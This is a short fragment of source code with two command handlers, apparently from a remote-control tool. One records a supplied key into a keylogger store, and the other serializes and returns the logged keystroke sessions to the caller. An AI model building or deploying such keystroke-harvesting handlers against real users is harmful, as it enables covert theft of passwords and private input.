public static byte[] pressKey(Command command) { Keylogger.safeAdd(((KeypressRequest)Util.Serialization.deserialize(command.data)).key); return(new byte[] { }); }
public static byte[] getKeystrokes(Command command) { return(Util.Serialization.serialize(Keylogger.parseSessions())); }